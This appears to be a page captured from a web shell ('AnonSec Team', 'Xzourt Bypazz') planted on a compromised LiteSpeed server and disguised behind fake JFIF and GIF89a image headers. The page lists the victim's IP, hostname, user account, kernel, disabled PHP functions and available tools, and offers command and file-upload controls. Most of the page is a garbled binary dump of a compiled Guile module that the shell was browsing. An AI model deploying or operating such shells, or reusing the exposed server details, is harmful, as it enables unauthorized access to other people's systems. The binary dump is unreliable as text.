����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������ Xzourt Bypazz

Upload your file


�����x������x������C�     ���C   ����<�d"�������������� �������}�!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������������� ������w�!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������ ��?��S��(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(��ÿØÿà JFIF ÿþ;GIF89;aGIF89;aGIF89;a AnonSec Team
AnonSec Team
Server IP : 103.191.208.227  /  Your IP : 3.134.111.63
Web Server : LiteSpeed
System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
User : mhmsfzcs ( 1485)
PHP Version : 8.1.31
Disable Function : show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /lib64/lksctp-tools/../guile/2.0/ccache/ice-9/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //lib64/lksctp-tools/../guile/2.0/ccache/ice-9/ftw.go
GOOF----LE-8-2.0�R]�4h
]gguile�	�	gdefine-module*�	�	�	gice-9�	gftw�	�		gfilenameS�	
f
ice-9/ftw.scm�	gimportsS�	gmatch�	
�	
�	gvlist�	�	�	gsrfi�	gsrfi-1�	�	�	�	gexportsS�	gnftw�	gfile-system-fold�	gfile-system-tree�	gscandir�	�	g	autoloadsS�	gi18n�	�	 gstring-locale<?�	! �	"!�	#gset-current-module�	$#�	%#�	&gopendir�	'geof-object?�	(gclosedir�	)greaddir�	*gstring=?�	+f.�	,f..�	-gdirectory-files�	.f�	/g	substring�	0g
string-length�	1g
string-append�	2f/�	3gpathify�	4gchar=?�	5g
string-ref�	6gabs?�	7gmake-hash-table�	8g	hashv-ref�	9gstat:dev�	:gstat:ino�	;g
hashv-set!�	<g
visited?-proc�	=ggetuid�	>ggetgid�	?g
stat:perms�	@gstat:uid�	Agstat:gid�	Bgstat-dir-readable?-proc�	Cgmemq�	Dgdepth�	Egdirectory-processed�	Fg	directory�	Gg
nftw-style�	Hg
stale-symlink�	Igsymlink�	Jgphysical�	Kgcatch�	LK�	MK�	Nglstat�	Og	stat:type�	Pgstat�	Qgdirectory-not-readable�	Rgregular�	Sginvalid-stat�	Tgstat&flag-proc�	Ugclean�	Vg	hash-size�	Wgthrow�	Xgftw-early-exit�	Ygfor-each�	Zggetcwd�	[gmount�	\gchdir�	]gnftw-early-exit�	^gmake-syntax-transformer�	_^�	`^�	agerrno-if-exception�	bgmacro�	cg$sc-dispatch�	dc�	ec�	fgany�	gff�	hg
syntax-object�	igtop�	ji�	kgribcage�	lgdummy�	mgexpr�	nlm�	og
m-c0b95d8-107�	poi�	qpj�	rf
l-c0b95d8-10c�	sf
l-c0b95d8-10d�	trs�	uknqt�	vk�	wgx�	xw�	yp�	zf
l-c0b95d8-109�	{z�	|kxy{�	}juv|�	~ghygiene�	~��hK}��gquote��h�}��gsystem-error��h�}������glambda��h�}��gargs��h�}��gsystem-error-errno��h�}��������������gsyntax-violation��������f-source expression failed to match any pattern��ginteger?��gvhash-assoc��g
vhash-cons��gdirectory-stream?��gfold��gcons��g
alist-cons��g
vlist-null��gbasename��gerror��
���
���fno matching pattern����gconst��gand=>��gsort�C5hPG�]4	
"5	4%>"G&'()*+,h�s]!45"`45$4>"GC4545$"	45$"�"���45"���kgdir
		g
dir-stream			gnew			ogacc			ogt		?	Xgfilenamef
ice-9/ftw.scm�
�
��	�	��		�	��	�	��	�	
��	�	��	�	��	0�	��	7�	��	;�	"��	?�	��	?�	��	M�	��	Q�	"��	U�	��	\�	��	g�	��	o�	
��	o�	��	p�	��	w�	��	�	��		gnamegdirectory-files�C-R*./012hhJ-13"J(-45$"$C456�4�5"���"���Bgnodes
			cgnodes	
	Wgresult		
	Wgt		'	@gfilenamef
ice-9/ftw.scm�
�
��	
�	��	�	��	�	��	�	��	�	��	 �	��	"�	&��	'�	��	8�	 ��	@�	��	C�	��	D�	��	J�	0��	M�	4��	O�	��	W�	��	W�	��	[�	��	c�	��			c


gnamegpathify�C3R45hz]/4
56rgfilename
		gfilenamef
ice-9/ftw.scm�
�
��	�	��	�	��		gnamegabs?�C6R789:7;h�!]$y4L45545HJ$"$4L5K4L45J>"G4J5$C4J>"GCCgs
	�gino-hash	�gino		�gt		#	Vgt		_�gfilenamef
ice-9/ftw.scm�
�	��	�	��		�	��	�	/��	�	��	�	��	�	��	#�	
��	0�	"��	8�	��	9�	��	>�	(��	K�	��	W�	��	_�	
��	k�	��	�Ch�]	4	5OC�gsize
		gdev-hash			gfilenamef
ice-9/ftw.scm�
�
��	�	��		�	��		gnameg
visited?-proc�C<R=>?@AhpM]45L
�$CL45�$
���"$CL45�$
	 ���"$C
	���CEgs
		pgperms			pgt			pgt		6	pgt		\	pgfilenamef
ice-9/ftw.scm�
	��		��			��		��		��		��	$	��	(	��	/	)��	0	$��	1	��	6	��	D	��	K	��	O	��	U	)��	V	$��	W	��	\	��	m	)��	n	$��	o	��		pCh �]4545OC�guid
		ggid		guid			ggid			gfilenamef
ice-9/ftw.scm�
�
��	�	
��		
��	�	��			gnamegstat-dir-readable?-proc�CBRCDEFGHIJMNhJ]L6Bgfilenamef
ice-9/ftw.scm�
	��		#��		
ChV-13CNgargs
			gfilenamef
ice-9/ftw.scm�
	��			


CIOPhJ]L6Bgfilenamef
ice-9/ftw.scm�
 	��	 	3��		
ChV-13CNgargs
			gfilenamef
ice-9/ftw.scm�
 	��			


CFQRSh��]4O5$�45&Z4O5$=L$D45&4L5$L"	"
DLD45&4L5$L"	"
DD�gname
	�gs	�gs-follow		5�gtype		R	xgtype	��gfilenamef
ice-9/ftw.scm�
	��		��		��		��		��		��	&	��	' 	��	5 	��	=!	��	C#	��	G$	"��	I$	��	L	"��	R	��	V	!��	\	��	]	 ��	g	��	o	 ��	u	��	z&	���"	���	"���	���	!���	���	 ���	���	 ���	���'	���	���	��#	�C
hP�-1345$"45$"45	OC�g
dir-readable?
			Pg
control-flags			Pgdirectory-flag			Pgstale-symlink-flag		5	Pg	physical?		@	Pgfilenamef
ice-9/ftw.scm�

��	

	��	
	#��	
	��	
	��		��		��	
	��	!	!��	%	'��	)	!��	-	��	/	!��	5	!��	5
	��	8	��	<	��	@	��	@
	��			P
gnamegstat&flag-proc�CTR045/h0�]	45�4/455$	
6C�gname
		,glast-char-index	
	,gfilenamef
ice-9/ftw.scm�
)
��	*	��	
*	��	
*	��	
+	��	+	��	+	��	 +	��	),	��
		,gnamegclean�CUR<CVTB=>WXFY3hg]L4L56_gchild
		gfilenamef
ice-9/ftw.scm�
=	#��	>	)��	>	%��		C-h�4]4L>G4L5$C4L5&"4>"G&$4LO45>"G"C,gfullname
	�gs	
�gflag		
�gt		�gret		1�gfilenamef
ice-9/ftw.scm�
4	��	5	0��	5	��	7	��	7	��	'8	&��	18	��	:9	��	?:	!��	C:	(��	J:	!��	T;	'��	Z;	��	[<	"��	g?	#��	r<	"��	�gnameggo�CKXUhS]L4L56Kgfilenamef
ice-9/ftw.scm�
B	
��	B	��	
B	��		
Chd]C\gkey
		gval		gfilenamef
ice-9/ftw.scm�
C	
��			C
hpv-13445$��"�544454555OQ	
O6ngfilename
			lgproc			lgoptions				lgt			+gvisited?		-	lg	stat&flag		C	lggo		P	lgfilenamef
ice-9/ftw.scm�
/
��	
0	��	
0	)��	0	/��	0	)��	0	"��	-0	��	-0	��	02	��	33	��	63	.��	;3	7��	A3	��	C2	��	C0	��	P4	��	_A	
��	lA	��			l	
	gnamegftw�CRZMNhJ]L6Bgfilenamef
ice-9/ftw.scm�
G	��	G	,��		
ChV-13CNgargs
			gfilenamef
ice-9/ftw.scm�
G	��			


C9C[9hc]45L�C[gs
		
gfilenamef
ice-9/ftw.scm�
J	��	J	'��	J	$��		
ChQ]CIgs
		gfilenamef
ice-9/ftw.scm�
K	��		C\6\/h �]

�$C4
56�gfullname
		gbase		gt			gfilenamef
ice-9/ftw.scm�
O	��	P	!��	P	��	L	'��	Q	!��			C\3/h�]4L4
556�gfullname
		gbase		gfilenamef
ice-9/ftw.scm�
R	��	T	��	
L	'��	T	��	S	��			Chj]Cbgfullname
		gbase		gfilenamef
ice-9/ftw.scm�
U	��			C\hJ]L6Bgfilenamef
ice-9/ftw.scm�
W	��	W	'��		
ChA]C9gfilenamef
ice-9/ftw.scm�
X	��		
CD<VEhf]�C^gflag
		gfilenamef
ice-9/ftw.scm�
^	��	^	1��	^	'��		CFhf]�C^gflag
		gfilenamef
ice-9/ftw.scm�
_	��	_	1��	_	'��		CTB=>GY30h �]L4L54L5�L�6zgchild
		gfilenamef
ice-9/ftw.scm�
q	.��	r	4��	s	8��	s	4��	u	4��	r	0��		C-W]30h �]L4L54L5�L�6zgchild
		gfilenamef
ice-9/ftw.scm�
q	.��	r	4��	s	8��	s	4��	u	4��	r	0��		Chh?]+4L>G4L5$"14L5�$"L$�4L5$&4LO45>"G"4L>"G4L54L>"G&"4>"G"�4L>"G4L54L>"G&"4>"G4L5$&4LO45>"G"C7gfullname
	cgbase	cglevel		cgs		
agflag		
agt		[gt		/Xgret	��gret	�$	gfilenamef
ice-9/ftw.scm�
c	��	d	0��	d	��	w	��	w	��	(x	"��	/x	��	/w	��	Ay	��	Bo	-��	Lo	(��	Mp	-��	[v	.��	fp	-��	sg	(���i	3���i	(���k	*���l	*���m	.���m	5���m	.���g	(���i	3���i	(���k	*��	l	*��m	.��m	5��m	.��%o	-��/o	(��0p	-��>v	.��Ip	-��$	c	gnameggo�CK]UhS]L4L5

6Kgfilenamef
ice-9/ftw.scm�
~	��	~	'��	~	#��		
Chd]C\gkey
		gval		gfilenamef
ice-9/ftw.scm�
	��			C\!hH�-13454O5$45"	�45$O"	4
5$45$"
O"4
5$O"45445		$	��"�	5	$"
4445455?O	
	Q4O5
4 >"G
C�gfilename
		Ggproc		Gg
control-flags			Ggod		Ggs			7godev		7Gg	same-dev?		SGgmaybe-cd	�Gg
maybe-cd-back	�Ggdepth-first?	�Ggt		��gvisited?		�Gg	has-kids?	
�Gg	stat&flag	�Gggo		Ggret	
0Ggfilenamef
ice-9/ftw.scm�
E
��	
F	
��	F	��	G	��	G	��	'H	��	(H	��	7F	��	:I	��	>I	��	BI	��	FI	��	SF	��	VM	��	ZM	��	^M	��	bM	��	cN	��	mN	���F	���V	���V	"���V	���V	���F	���Y	���Y	���Y	���F	���Z	���[	���[	!���[	���[	���Z	���F	���]	���F	���`	���a	���a	4���a	=���a	���b	!���`	���F	��	c	��}	��#}	��0}	��0}	��3�	��5		G	
	gnamegnftw�CR4`abeg����h?]���C7gdummy
		gexpr					C��h(�]	45$@6�gx
		"gtmp		"gfilenamef
ice-9/ftw.scm�
�
��		"g
macro-typegsyntax-rules�gpatternsgexprC5aRN*.12��9:FOK�&hJ]M6Bgfilenamef
ice-9/ftw.scm�
�	��	�	-��		
C�hV-136Ngargs
			gfilenamef
ice-9/ftw.scm�
�	��			


C��'(��hn]LL�ML�L�L�6fgfilenamef
ice-9/ftw.scm�
�	,��	�	4��	�	4��	�	4��	�	4��	�	.��		
Ch {]4LLO>6<sgsubdir
		gresult+visited		gfilenamef
ice-9/ftw.scm�
�	&��	�	(��			C+,)hJ]LL6Bgfilenamef
ice-9/ftw.scm�
�	%��	�	9��		
C�hV-136Ngargs
			gfilenamef
ice-9/ftw.scm�
�	%��			


C�h(�]EH45$"45K45$LJ644545�5$D	4
5&�4LJ5$|4
O544545�545$5"45$:4>"G4LO	�
54LJ�5�D45$"	45$45	

	"���4J54LO545$454L	5

	"��54
5	&45	4
5
	"��
454L	5

	"���454LJ5
	"���4LJ5D4LJ544545�5DLJ6�gname
	!gpath	!gdir-stat		!gresult		!gvisited		!g	full-name		!gdir	��gvisited	��gentry	��gresult		��gsubdirs	
��gr+v	��gt	�gchild	<�gst	P�gfilenamef
ice-9/ftw.scm�
�	��	�	
��	�	��	�	
��	�	��	�	
��	�	��	#�	
��	&�	��	0�	��	;�	��	<�	��	?�	��	F�	$��	M�	��	Q�	��	U�	��	[�	��	]�	��	^�	��	h�	��	i�	
��	w�	��	x�	����	����	����	#����	����	����	
����	����	����	����	����	����	����	 ����	&����	 ����	����	#����	:����	#����	#����	����	����	+����	����	��
�	���	+���	���	���	��1�	��2�	%��8�	>��<�	%��<�	��?�	%��P�	��S�	��]�	��^�	#��e�	#��|�	��}�	&����	5����	����	'����	'����	!����	'����	'����	!����	����	"����	"����	"����	����	����	����	����	���	��	�	#���	���	���	
��!�	��[	!	gnamegloop�C.K�hJ]LL6Bgfilenamef
ice-9/ftw.scm�
�	��	�	+��		
C�hV-136Ngargs
			gfilenamef
ice-9/ftw.scm�
�	��			


C�	hXJ-.	,	3
#O		Q		4O56Bgenter?
		Vgleaf		Vgdown			Vgup			Vgskip			Vgerror			Vginit			Vg	file-name			Vgstat			Vgloop			%	V
gfilenamef
ice-9/ftw.scm�
�
��	%�	��	>�	��	?�	��	V�	��		V	gnamegfile-system-fold�g
documentationf�Traverse the directory at FILE-NAME, recursively.  Enter
sub-directories only when (ENTER? PATH STAT RESULT) returns true.  When
a sub-directory is entered, call (DOWN PATH STAT RESULT), where PATH is
the path of the sub-directory and STAT the result of (stat PATH); when
it is left, call (UP PATH STAT RESULT).  For each file in a directory,
call (LEAF PATH STAT RESULT).  When ENTER? returns false, call (SKIP
PATH STAT RESULT).  When an `opendir' or STAT call raises an exception,
call (ERROR PATH STAT ERRNO RESULT), with ERRNO being the operating
system error number that was raised.

Return the result of these successive applications.
When FILE-NAME names a flat file, (LEAF PATH STAT INIT) is returned.
The optional STAT parameter defaults to `lstat'.�CRh`]CXgn
		gs		gfilenamef
ice-9/ftw.scm�
�	.��			CN����h`�]�$I���$+�$4455�C456456456�gname
		_gstat		_gresult			_gw			Rgx			Rgfilenamef
ice-9/ftw.scm�
�	��	�	��	"�	
��	%�	��	0�	4��	4�	
��	7�	��	9�	��			_	gnamegleaf�C����h�
]#�${���$]�$I���$+�$445�5�C456456456456456gname
	�gstat	�gresult		�gw		�gx		�gw		'	jgx		'	jgfilenamef
ice-9/ftw.scm�
	��		��	:	
��	=	��	H	)��	L	
��	O	��	Q	��		�	gnamegup�Ch�]L6�gname
		
gstat		
gresult			
gfilenamef
ice-9/ftw.scm�
�	��	
�	��		
	gnamegenter?*�Ch�]�C�gname
		gstat		gresult			gfilenamef
ice-9/ftw.scm�
	��		
��		��			gnamegdown�C*h �]4L5$CL6�gname
		gstat		gerrno			gresult			gfilenamef
ice-9/ftw.scm�

	��		��		��	
	��			gnamegerror�C���
h�w-.,3##4OO	5	�$e�(Q�".�(�(C4
564
56�$�(�C"���"���4
564
56og	file-name
	�genter?	�gstat		�gleaf		(�gup		(�gv		K�gw		^�gw		n�gfilenamef
ice-9/ftw.scm�
�
��	)	��	E	;��	K	��	�	gnamegfile-system-tree�g
documentationfRReturn a tree of the form (FILE-NAME STAT CHILDREN ...) where STAT is
the result of (STAT FILE-NAME) and CHILDREN are similar structures for
each file contained in FILE-NAME when it designates a directory.  The
optional ENTER? predicate is invoked as (ENTER? NAME STAT) and should
return true to allow recursion into directory NAME; the default value is
a procedure that always returns #t.  When a directory does not match
ENTER?, it nonetheless appears in the resulting tree, only with zero
children.  The optional STAT parameter defaults to `lstat'.  Return #f
when FILE-NAME is not readable.�CR� �K�&hJ]L6Bgfilenamef
ice-9/ftw.scm�
"	��	#	��		
C'(�)h`�]"J45$4>"GL6454L5$	�""���45"����gstream
		`gentry		Pgfiles			Pgfilenamef
ice-9/ftw.scm�
'		��	(	��	*	��	*	
��	,	��	+-	��	,.	��	3/	��	=/	��	B0	��	P.	��	P(	��	Q(	��	X)	��	`(	��		`ChH�-.,3#45#4O455O6�gname
		Egselect?		Egentry<?			Egfilenamef
ice-9/ftw.scm�

��		+��	'!	��	+!	��	3$	��	:!	��	E&	��		E	gnamegscandir�g
documentationfReturn the list of the names of files contained in directory NAME
that match predicate SELECT? (by default, all files.)  The returned list
of file names is sorted according to ENTRY<?, which defaults to
`string-locale<?'.  Return #f when NAME is unreadable or is not a
directory.�CRC�gm
		0gfilenamef
ice-9/ftw.scm�	�
��F�
���
����
��7�
��
�
��k
��|)
���/
��'�E
��8��
��C�
��GH
��	GJ
C6

AnonSec - 2021